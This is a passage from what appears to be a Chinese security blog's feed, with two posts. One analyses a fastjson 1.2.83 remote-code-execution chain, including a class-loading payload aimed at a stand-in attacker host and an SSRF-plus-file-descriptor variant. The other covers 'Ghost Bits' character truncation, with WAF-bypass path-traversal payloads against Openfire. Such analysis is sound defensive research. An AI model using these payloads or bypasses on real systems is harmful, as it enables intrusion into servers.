defaultClassLoader.getResourceAsStream(resource);  <span class="comment">// ← 远程加载！</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (is != <span class="literal">null</span>) &#123;</span><br><span class="line">        ClassReader classReader = <span class="keyword">new</span> ClassReader(is, <span class="literal">true</span>);</span><br><span class="line">        TypeCollector visitor = <span class="keyword">new</span> TypeCollector(<span class="string">"&lt;clinit&gt;"</span>, <span class="keyword">new</span> Class[<span class="number">0</span>]);</span><br><span class="line">        classReader.accept(visitor);</span><br><span class="line">        jsonType = visitor.hasJsonType();  <span class="comment">// 检测 @JSONType 注解</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125; <span class="keyword">catch</span> (Exception e) &#123; <span class="comment">/* skip */</span> &#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (autoTypeSupport || jsonType || expectClassFlag) &#123;  <span class="comment">// ← jsonType=true 绕过第一层</span></span><br><span class="line">    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>fastjson会把请求中的<code>.</code>替换成<code>/</code>，然后拼接上<code>.class</code>之后加载。</p><p>本意是把类似于正常的包，转为路径加载</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">@type = <span class="string">"com.example.MyModel"</span></span><br><span class="line">  → replace(<span class="string">'.'</span>, <span class="string">'/'</span>) → <span class="string">"com/example/MyModel.class"</span></span><br><span class="line">  → getResourceAsStream → 从本地 classpath 加载</span><br><span class="line">  → 检测 @JSONType → 信任</span><br><span class="line">  → loadClass → 正常业务类</span><br></pre></td></tr></table></figure><p>但是这里就出现了几个华点</p><p>由于请求中的<code>.</code>替换成<code>/</code>，那么就可以通过构造<code>.</code>来绕过正常的限制</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">输入jar:http:..ATTACKER_IP:<span class="number">18080.</span>exploit!.Payload</span><br><span class="line">其中http:..转化为http:<span class="comment">//</span></span><br><span class="line">其中ATTACKER_IP:<span class="number">18080.</span>exploit转化为ATTACKER_IP:<span class="number">18080</span>/exploit</span><br><span class="line">其中!.转化为!<span class="regexp">/</span></span><br><span class="line"><span class="regexp"></span></span><br><span class="line"><span class="regexp">最后一个问题是ip里的.也会被转义，那么更简单直接用整形ip</span></span><br><span class="line"><span class="regexp">2130706433:18080 -&gt; 127.0.0.1:18080</span></span><br></pre></td></tr></table></figure><p>所以最后通过巧妙的构造就可以实现远程加载poc</p><p>上一个poc由3个部分构成</p><p><strong>1、</strong><code>replace(&#39;.&#39;, &#39;/&#39;)</code><strong>的意外导致了巧妙的构建，绕过了对于/的限制，也侧面绕开了对于远程加载的限制</strong></p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ClassLoader.java</span></span><br><span class="line">private ProtectionDomain preDefineClass(<span class="built_in">String</span> name, ProtectionDomain pd) &#123;</span><br><span class="line">    ...</span><br><span class="line">    <span class="keyword">if</span> (name.indexOf(<span class="string">'/'</span>) != <span class="number">-1</span>) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> NoClassDefFoundError(<span class="string">"IllegalName: "</span> + name);</span><br><span class="line">    &#125;</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>2、Spring Boot 的类加载器能解析 jar:http:// 嵌套 URL（这是 Spring Boot FatJar 加载嵌套 JAR 的正常功能）</strong></p><p><strong>3、</strong><code>@JSONType 注解</code><strong>这个路径入口没有被额外限制，允许远程加载</strong></p><p>这条链路远程加载回来的类被defineClass后，静态初始化块<code>&lt;clinit&gt;</code>会立即执行，不会走到后续的类型绑定，所以其他的限制也无效。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">parseObject(body, Dto.class) 生效之前的probe阶段就执行</span><br></pre></td></tr></table></figure><p>但是问题接踵而至，如果原漏洞使用了这个路径，那么在高于JDK8的版本有这样一个限制</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">Class&lt;?&gt; loadClassInLaunchedClassLoader(<span class="built_in">String</span> name) &#123;</span><br><span class="line">    <span class="built_in">String</span> resource = name.replace(<span class="string">'.'</span>, <span class="string">'/'</span>) + <span class="string">".class"</span>;  </span><br><span class="line"><span class="comment">// 构建资源路径</span></span><br><span class="line"></span><br><span class="line">    InputStream is = getParent().getResourceAsStream(resource);  </span><br><span class="line"><span class="comment">// 下载</span></span><br><span class="line"></span><br><span class="line">    byte[] bytes = readAll(is);</span><br><span class="line">    <span class="keyword">return</span> defineClass(name, bytes, <span class="number">0</span>, bytes.length);  <span class="comment">//校验name</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在远程加载成功之后，紧接着defineclass，不同版本的jdk会有不同的限制</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">defineClass(name, 字节码bytes)</span><br><span class="line">  │</span><br><span class="line">  ├─ Java层: preDefineClass</span><br><span class="line">  │    checkName(name参数)</span><br><span class="line">  │    → 校验的是 传入的name字符串</span><br><span class="line">  │    → 点号形式没有/，通过</span><br><span class="line">  │</span><br><span class="line">  └─ native层: defineClass1 → parseClassFile</span><br><span class="line">       │</span><br><span class="line">       ├─ 第一轮: 把字节码解析成常量池结构</span><br><span class="line">       │    → 此时常量池里的类名是字节码原始值</span><br><span class="line">       │    → 即 <span class="string">"jar:http://a/b/c!/Foo"</span>（JVM内部格式，用/分隔）</span><br><span class="line">       │</span><br><span class="line">       └─ 第二轮: 遍历常量池，校验每个条目格式</span><br><span class="line">            遇到 CONSTANT_UnresolvedClass 时:</span><br><span class="line">            → verify_legal_class_name(常量池中的类名)</span><br><span class="line">              → verify_unqualified_name()</span><br><span class="line">                JDK <span class="number">8</span>:  只禁 . ; [ → http:<span class="comment">// 的 // 通过</span></span><br><span class="line">                JDK <span class="number">9</span>+: 加禁连续 <span class="comment">// → http:// 的 // 被拒</span></span><br></pre></td></tr></table></figure><p><strong>这个限制让超过JDK8的版本只能触发ssrf，无法直接远程加载。</strong></p><p>简单来说就是无法绕过高版本对于defineClass判定的限制。<strong>getResourceAsStream可以实现远程请求</strong>，但是defineClass判定的时候类名校验失败。</p><p>于是衍生出了第二个高版本利用的方案，用<code>jar:file:</code>来绕过双斜杠的协议协议。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">阶段一：SSRF 下载 JAR 到本地</span><br><span class="line">  getResourceAsStream(<span class="string">"jar:http://attacker/probe!/POC.class"</span>)</span><br><span class="line">  → 标准 ClassLoader 返回 <span class="literal">null</span>，但 LaunchedURLClassLoader</span><br><span class="line">    的底层 URL 解析机制会触发 HTTP 请求（下载 JAR 到临时文件）</span><br><span class="line">  → JAR 落盘到 /tmp 或内存中，拿到文件描述符 fd/N</span><br><span class="line"></span><br><span class="line">阶段二：本地加载</span><br><span class="line">  getResourceAsStream(<span class="string">"jar:file:/proc/self/fd/N!/POC.class"</span>)</span><br><span class="line">  → 本地文件，单斜杠，通过 verify_unqualified_name</span><br><span class="line">  → defineClass 成功，&lt;clinit&gt; 执行</span><br></pre></td></tr></table></figure><p>也就是用ssrf来抓取文件到临时文件，然后遍历fd寻找这个临时文件，通过jarfile协议加载，这样就可以绕过高版本对于<code>//</code>的额外限制，顺利的在高版本做利用。</p><p>而这个遍历fd的利用方案也导致该问题再windows的高版本jdk中无法利用。</p><p><strong>但是有没有觉得好像哪里都不太对？</strong></p><h1 id="看上去好像哪里不对？"><a href="#看上去好像哪里不对？" class="headerlink" title="看上去好像哪里不对？"></a>看上去好像哪里不对？</h1><p>在顺着分析了上一个poc的详细流程以及链路之后，我想所有人应该都会得出一个问题就是，<strong>为什么会有这样一个远程加载的classloader呢？</strong></p><p>很显然，最早的POC在探索这个链路的时候，自己构造了一个Classloader来闭环整个链路</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">ClassLoader urlNameClassLoader = <span class="keyword">new</span> ClassLoader(<span class="literal">null</span>) &#123;</span><br><span class="line">    @Override</span><br><span class="line">    public InputStream getResourceAsStream(<span class="built_in">String</span> name) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> URL(name).openStream();  </span><br><span class="line">    &#125;</span><br><span class="line">&#125;;</span><br><span class="line">config.setDefaultClassLoader(urlNameClassLoader);</span><br><span class="line">config.checkAutoType(TYPE, <span class="literal">null</span>);</span><br></pre></td></tr></table></figure><p>在这个 PoC 中，<code>getResourceAsStream()</code> <strong>接收到的</strong> <code>name</code> <strong>会直接交给</strong> <code>new URL(name)</code> <strong>解析</strong>；如果 <code>name</code> 是一个远程 URL，就可能发起网络请求并读取远端内容。因此，后续链路才能闭环。</p><p><strong>普通的Classloader，常规功能是在本地 classpath 里寻找对应的文件，找不到就返回null。</strong>所以大部分的Classloader并不支持这样一条链路。</p><p>-—–</p><p>SpringBoot Fat Jar算是一个特例，<code>**LaunchedURLClassLoader.findResource**</code><strong>直接把name喂回了URLClassLoader，而URLClassPath的通用Loader将name根据不同格式解析</strong>，最后构成了利用链路。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">URLClassLoader.findResource(name)</span><br><span class="line">    -&gt; URLClassPath.findResource(name)</span><br><span class="line">        -&gt; 针对每个 classpath 根选择 Loader</span><br></pre></td></tr></table></figure><p>那么又有了一个新的问题，<strong>除了SpringBoot Fat Jar，其他的URLClassLoader为什么不会远程加载？</strong>尤其是Tomcat正常的WebappClassLoader也继承自URLClassLoader，并且JDK远程就支持<code>jar</code>协议，<strong>那为什么Tomcat下无法利用呢？</strong></p><p><strong>这个问题比想象的要复杂，以下这部分内容我修改了3次…</strong></p><p><strong>首先运行Fat jar的容器也会影响到利用链路</strong>。</p><p>使用Fat jar启动时，J<strong>VM默认的Classloader就是LaunchedURLClassLoader</strong>。而不同的容器的TCCL运行模式不一样，由于Fastjson用的是当前线程的ClassLoader，那么Tomcat会把他替换TomcatEmbeddedWebappClassLoader</p><table><thead><tr><th>容器</th><th>TCCL</th></tr></thead><tbody><tr><td><strong>Tomcat</strong></td><td><code>TomcatEmbeddedWebappClassLoader</code></td></tr><tr><td><strong>Jetty</strong></td><td><code>LaunchedURLClassLoader</code></td></tr><tr><td><strong>Undertow</strong></td><td><code>LaunchedURLClassLoader</code></td></tr></tbody></table><p>但是<strong>Tomcat+SpringBoot Fatjar其实也是可以利用的</strong>，因为<strong>TomcatEmbeddedWebappClassLoader同样继承了URLClassLoader</strong>，但是重写了 loadClass，做了额外的限制不允许连续<code>/</code>输入，所以禁止了http链路，但同样可以走ssrf+遍历fd的方式利用。</p><p>只不过即便在JDK8环境下，依旧不能单次请求利用了。</p><p>那是不是必须是Fat jar呢，<strong>直接war部署在Tomcat/Jetty可以吗？</strong></p><p>在Tomcat的WebappClassLoader，在资源查找的时候，会直接走WebResourceRoot然后在本地查找</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">String</span> path = nameToPath(name);</span><br><span class="line">resource = resources.getClassLoaderResource(path);</span><br><span class="line"><span class="keyword">if</span> (resource.exists()) &#123;</span><br><span class="line">    url = resource.getURL();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>WebappClassLoaderBase不会做URL解析，在查找不到会返回null</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">TomcatEmbeddedWebappClassLoader.getResourceAsStream(<span class="string">"jar:http://..."</span>)  </span><br><span class="line">  → WebappClassLoaderBase.getResource</span><br></pre></td></tr></table></figure><p>而<strong>当WebappClassLoaderBase搜索不到的时候如果hasExternalRepositories为true会回退到父类URLClassLoader的findResource，依旧可以触发利用链路</strong></p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">public URL findResource(<span class="built_in">String</span> name) &#123;</span><br><span class="line">    <span class="built_in">String</span> path = nameToPath(name);  </span><br><span class="line">    WebResource resource = resources.getClassLoaderResource(path);</span><br><span class="line">  </span><br><span class="line">    URL url = <span class="literal">null</span>;</span><br><span class="line">    <span class="keyword">if</span> (resource.exists()) &#123;</span><br><span class="line">        url = resource.getURL();</span><br><span class="line">    &#125;</span><br><span class="line"><span class="comment">//  回退到URLClassLoader</span></span><br><span class="line">    <span class="keyword">if</span> (url == <span class="literal">null</span> &amp;&amp; hasExternalRepositories) &#123;</span><br><span class="line">        url = <span class="keyword">super</span>.findResource(name);</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>而实际测试中，<strong>通过war方式部署在tomcat上，这个属性默认为false</strong>，所以利用链走不通。</p><table><thead><tr><th>部署方式</th><th>TCCL</th><th>URLClassPath</th><th>自定义 <code>jar:</code> Handler</th><th>结果</th></tr></thead><tbody><tr><td>SB Fat JAR（内嵌 Tomcat）</td><td><code>TomcatEmbeddedWebappClassLoader</code>（parent 有 <code>jar:file:</code>）</td><td>空/<code>jar:file:</code></td><td>✅</td><td><strong>可利用</strong></td></tr><tr><td>SB Fat JAR（内嵌 Jetty）</td><td><code>LaunchedURLClassLoader</code></td><td><code>jar:file:</code></td><td>✅</td><td><strong>可利用</strong></td></tr><tr><td>SB Fat JAR（内嵌 Undertow）</td><td><code>LaunchedURLClassLoader</code></td><td><code>jar:file:</code></td><td>✅</td><td><strong>可利用</strong></td></tr><tr><td>SB WAR（外部 Tomcat）</td><td><code>ParallelWebappClassLoader</code></td><td><code>file:</code></td><td>❌</td><td><strong>不可利用</strong></td></tr><tr><td>SB WAR（外部 Jetty）</td><td><code>WebAppClassLoader</code></td><td><code>file:</code></td><td>❌</td><td><strong>不可利用</strong></td></tr><tr><td>纯 Tomcat + Fastjson</td><td><code>ParallelWebappClassLoader</code></td><td><code>file:</code></td><td>❌</td><td><strong>不可利用</strong></td></tr></tbody></table><hr><p><strong>那么为什么是SPringBoot呢？</strong></p><p>除了前面不是条件的条件以外，想要走通这条链路。</p><p><strong>还必须要求当前URLClassPath必须包含jar:file根。</strong></p><p>而Spring Boot 为了加载依赖。他会构造类似于jar:file的嵌套根</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">jar:file:<span class="regexp">/path/</span>app.jar!<span class="regexp">/BOOT-INF/</span>classes!<span class="regexp">/</span></span><br></pre></td></tr></table></figure><ul><li><code>file:/path/to.jar</code> → URLClassPath 创建 JarLoader → 这个 JarLoader 只管<strong>在该 JAR 内部查找 entry</strong>。它用的是<strong>标准 JDK 的</strong> <code>jar:</code> <strong>协议处理器</strong>，只能处理 <code>jar:file:</code> 本地 URL。</li><li><code>jar:file:/path/to.jar!/</code> → URLClassPath 创建 JarLoader → Spring Boot 启动时通过 <code>registerUrlProtocolHandler()</code> 注册了<strong>自定义</strong> <code>jar:</code> <strong>协议处理器</strong>。当这个 JarLoader 遇到资源名 <code>jar:http://...</code> 时，自定义处理器能把它解析为远程 URL，触发 SSRF。</li></ul><p>所以Spring Boot Fat Jar 是已知容易满足该 URL 解析条件的环境之一</p><p>这样一来，这个漏洞的限定条件就变成了</p><ul><li><strong>该fastjson环境下的默认Classloader，继承URLClassLoader（或复用 URLClassPath），没有做额外的URLLoader限制，并且当前URLClasspath必须包含jar:file根，即可存在利用</strong></li></ul><h1 id="作者公开原文"><a href="#作者公开原文" class="headerlink" title="作者公开原文"></a>作者公开原文</h1><p>在漏洞细节被逐步推演出来之后，在7月22日，漏洞最早的发现者公开了他们研究的细节。</p><p><a href="https://fearsoff.org/cn/research/fastjson-1-2-83-rce" target="_blank" rel="noopener">https://fearsoff.org/cn/research/fastjson-1-2-83-rce</a></p><p>有趣的是，相比于我们的AI复现逻辑，该作者挖掘漏洞的逻辑源于一个偶然，就像我说的，这种利用链路在常规的环境下是无法完成的，但是如果刚好复现中触发了远程加载后续的很多想法都顺利成章，所以最早的巧合就很有趣。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202607221546597.png" alt="img"></p><p>在完成的复盘完漏洞之后，内心还是百感交易，一方面基于AI的探索和漏洞挖掘体系逐渐变得熟练和成熟，AI能做的事情越来越多，另一方面也感叹，居然这种已经被研究烂了的目标还能巧妙的找到新的利用角度，任重而道远~</p><p>坦白讲这是我第一次以AI为主做漏洞复现和分析，在这个新时代下，效率的提升和未知领域的帮助AI提升巨大，但反过来，AI在未知位置隐藏的错误信息也可能会滚雪球误导，中间关于tomcat实际环境与SPringBoot联动问题在我3次和AI探讨都获得了不同的答案，如何避免这样的事情可能是接下来最重要的事情。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;7月19日，推上的一名安全研究员声称，他发现了一个在fastjson 1.2.83版本中无需gadget的RCE漏洞。一时间激起千帆浪。&lt;br&gt;&lt;img src=&quot;https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202607221545781.png&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Fastjson虽然已经停止维护1版本，但是1版本的Fj依旧是互联网上应用最多的Java JSON库之一，虽然1.2.83没有在维护，但是在长期和fastjson对抗的时间里，83版本仅可以基于expectClass和第三方库构成的gadget做的极其有限的攻击利用，几乎无法RCE，所以很多厂家没有选择更新到FJ2增加不确定性。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;在过去的1天多时间内，基于作者的部分信息，大家正在逐渐探索出了漏洞的真相&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;在7月22日，原作者公开了他们的研究文档&lt;a href=&quot;https://fearsoff.org/cn/research/fastjson-1-2-83-rce&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://fearsoff.org/cn/research/fastjson-1-2-83-rce&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202607221545358.png&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;</summary>
    
    
    
    
    <category term="java" scheme="https://lorexxar.cn/tags/java/"/>
    
    <category term="fastjson" scheme="https://lorexxar.cn/tags/fastjson/"/>
    
  </entry>
  
  <entry>
    <title>Ghost Bits，Java WAF之殇？</title>
    <link href="https://lorexxar.cn/2026/04/29/java-ghost-bits/"/>
    <id>https://lorexxar.cn/2026/04/29/java-ghost-bits/</id>
    <published>2026-04-29T10:09:32.000Z</published>
    <updated>2026-04-30T01:50:44.601Z</updated>
    
    <content type="html"><![CDATA[<p>在前两天的BlacksetHat Asia 2026上，@浅蓝和@1ue分享一个非常有趣的议题，Java中的GhostBits漏洞</p><ul><li><a href="https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf" target="_blank" rel="noopener">https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf</a></li></ul><p>探究深度非常深，影响范围非常之广，内容非常有意思</p><a id="more"></a><h1 id="什么是Ghost-Bits？"><a href="#什么是Ghost-Bits？" class="headerlink" title="什么是Ghost Bits？"></a>什么是Ghost Bits？</h1><p>Ghost Bits这个概念的来源太久很难深究，甚至在软件领域之前就已经有类似的概念。<strong>Ghost Bits主要是指那些在莫名其妙的位置影响到软件运行的位，所以形容像幽灵一样。</strong></p><p>在这个议题中，<strong>Ghost Bits主要指的是在某些类型转换过程中被不小心丢掉的高位，导致原字符串内容变化。</strong></p><p>最经典的场景就是<strong>char类型和byte类型的转换</strong>，也是Java的经典场景。</p><p><strong>char类型是16位（2字节），byte类型是8位（1字节）</strong>，如果发生char强制转换为byte就会丢弃高8位，<strong>只保留低8位</strong>。其中的8位就像幽灵一样消失了。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202604291810719.png" alt=""></p><p>在Java中，<strong>有4种非常常见的写法</strong>都会有该问题</p><ul><li><code>(byte) ch</code>：显式的byte强制类型转化</li><li><code>ch &amp; 0xFF</code>：位掩码，保留低8位</li><li><code>OutputStream.write(int)</code>：写入流时被截断</li><li><code>DataOutputStream.writeBytes()</code>：官方JDK方法，在文档中明确写明会丢弃高8位</li></ul><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202604291810211.png" alt=""></p><p>而在unicode中，会有大量的高位内容，经过处理和转换之后就会被截断变成对应的字符<br><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202604291810631.png" alt=""></p><p>要注意的是，这个问题本质上<strong>在源代码层面表现一致，不能单独算作是一个漏洞</strong>，所以在80%的场景下，该问题主要影响的是<strong>和源代码不在同一层的软件，其中最经典的就是waf</strong>！<br><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202604291810119.png" alt=""></p><h1 id="具体怎么回事？"><a href="#具体怎么回事？" class="headerlink" title="具体怎么回事？"></a>具体怎么回事？</h1><p>基础的原理刚才都理解了，其实就是利用高位无效的机制问题，使得<strong>输入的内容在waf和实际源代码处理的时候遇到的是不同的内容</strong>。</p><p>比如说中文字阮，经过处理之后源代码获得的就是.</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">字符 <span class="string">'阮'</span> = U+<span class="number">962</span>E = <span class="number">0x962E</span></span><br><span class="line">(byte) <span class="number">0x962E</span> = <span class="number">0x2E</span> = <span class="string">'.'</span></span><br></pre></td></tr></table></figure><p>那你就可以用这种方式绕过WAF的限制</p><p>比如说我输入<code>\u丰丰耳失</code>，<strong>waf收到这个输入的时候认为没有任何敏感词</strong>，则放行到后端jackson，后端将其转为byte，最终拼接成sql注入语句</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202604291810219.png" alt=""></p><p>最神奇的是，这种逻辑的泛用性极强，首先本身高位被抛弃意味着高位可以塞入任意值，那么对于poc就是多对1的转化关系。</p><p>以下两种都可以直接转为对应的<code>../../</code>，这对于waf来讲就是极强的考验，即便只针对byte的转化关系，waf也非常难处理</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202604291810259.png" alt=""><!-- 这是一张图片，ocr 内容为： --><br><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202604291810235.png" alt=""></p><h1 id="继续拓展？"><a href="#继续拓展？" class="headerlink" title="继续拓展？"></a>继续拓展？</h1><p>刚才提到了，在java本身的代码中，char类型和byte类型的转化是非常常用的写法，其带来的问题往往并不能直白的影响到源代码层面，<strong>但对于安全来讲，似乎小概率事件会导致大概率问题</strong>？！</p><h1 id="CVE-2025-41242-Spring框架因Jetty-URI解析不一致导致的路径穿越漏洞"><a href="#CVE-2025-41242-Spring框架因Jetty-URI解析不一致导致的路径穿越漏洞" class="headerlink" title="CVE-2025-41242  Spring框架因Jetty URI解析不一致导致的路径穿越漏洞"></a><font style="color:rgb(31, 35, 40);">CVE-2025-41242  Spring框架因Jetty URI解析不一致导致的路径穿越漏洞</font></h1><p>刚才我们讨论的是泛用性非常强的waf场景，那么<strong>在Spring框架下</strong>，本身会有一个非常大的问题，就是Spring框架中<code>StringUtils.uriDecode</code>和Jetty<code>URIUtil.encodePathSafeEncoding</code>的处理方式不一致，导致了底层的路径穿越问题。</p><ul><li><a href="https://github.com/advisories/GHSA-r936-gwx5-v52f" target="_blank" rel="noopener">https://github.com/advisories/GHSA-r936-gwx5-v52f</a></li><li><a href="https://github.com/spring-projects/spring-framework/commit/24e66b63" target="_blank" rel="noopener">https://github.com/spring-projects/spring-framework/commit/24e66b63</a></li></ul><p>对于Spring框架的<code>StringUtils.uriDecode</code>方法</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202604291810384.png" alt=""></p><p>遇到%时会做专门的处理，并调用<code>ByteArrayOutputStream.write</code>导致了高位bit丢失，出现Ghost Bits漏洞。</p><p><code>阮严灵丰丰甲来</code>会被转为<code>.%u002e</code></p><p>这个输入在Spring层面，不但可以通过<code>isInvalidPath/isInvalidEncodedPath</code>的路径检查，还不会被识别为正常的%u编码，全部放行</p><p>传递到Jetty中，<code>URIUtil.encodePathSafeEncoding</code>却会将<code>%u002e</code>做unicode解码转为<code>.</code>，最终构造成为<code>../</code><br><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202604291811773.png" alt="image-20260429181104521"></p><h2 id="Openfire-CVE-2023-32315-—-认证绕过"><a href="#Openfire-CVE-2023-32315-—-认证绕过" class="headerlink" title="Openfire CVE-2023-32315 — 认证绕过"></a>Openfire CVE-2023-32315 — 认证绕过</h2><p>转为Byte丢失高位的方案大家都知道，还有一些更邪门的其他漏洞，其实本质上也是类似的问题。</p><p>一个很有趣的例子就是<strong>Openfire CVE-2023-32315</strong>，这个漏洞本质上是一个基础的路径穿越漏洞</p><ul><li>CVE-2008-6508，最早的漏洞只需要..就可以实现路径穿越</li><li>CVE-2023-32315，发现可以用%u002e，也就是UTF-16来替代%2e实现路径穿越，因为AuthCheckFilter并没有校验对应的输入，但Jetty支持%u解码，导致了漏洞的绕过</li></ul><p>poc就是这样的</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/setup/setup-a/%u002e%u002e/%u002e%u002e/log.jsp</span><br></pre></td></tr></table></figure><p>很多WAF都加入了%u002e%u002e作为关键字之一，那么你可以使用这个poc来绕过</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/setup/setup-a/%<span class="number">2</span>&gt;%<span class="number">2</span>&gt;<span class="regexp">/%2&gt;%2&gt;/</span>log.jsp</span><br></pre></td></tr></table></figure><p>这里有个比较邪门的点在于，对于大部分框架来说，<strong>他们不会把<code>%2&gt;</code>当做url编码去处理，因为<code>&gt;</code>并不是合法的url编码</strong>。</p><p>但是对于Jetty来说，他会一视同仁，把<code>&gt;</code>传入到<code>convertHexDigit</code>做处理</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">public <span class="keyword">static</span> byte convertHexDigit(byte c) &#123;</span><br><span class="line">    byte b = (byte)((c &amp; <span class="number">0x1f</span>) + ((c &gt;&gt; <span class="number">6</span>) * <span class="number">0x19</span>) - <span class="number">0x10</span>);</span><br><span class="line">    <span class="keyword">if</span> (b &lt; <span class="number">0</span> || b &gt; <span class="number">15</span>)</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> NumberFormatException(<span class="string">"!hex "</span> + c);</span><br><span class="line">    <span class="keyword">return</span> b;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>也就是说即便是符号<code>&gt;</code>依旧会经过这一套算法，最终获得结果是14，对应<code>E</code></p><p>那么这样一来，<strong>waf收到的请求是<code>%2&gt;</code>不合法的url编码不做处理，jetty把他处理转为了<code>%2E</code>成功输入<code>.</code>绕过waf</strong>。</p><h1 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h1><p>其实类似的场景同样非常多，因为许多大型框架中，除了显式的Java类型转化，还会有隐式的框架中的处理导致同样的问题，在原议题中分享了不同框架下涉及到不同漏洞的很多种问题，他们无一都是开发者无意中触发了Ghost 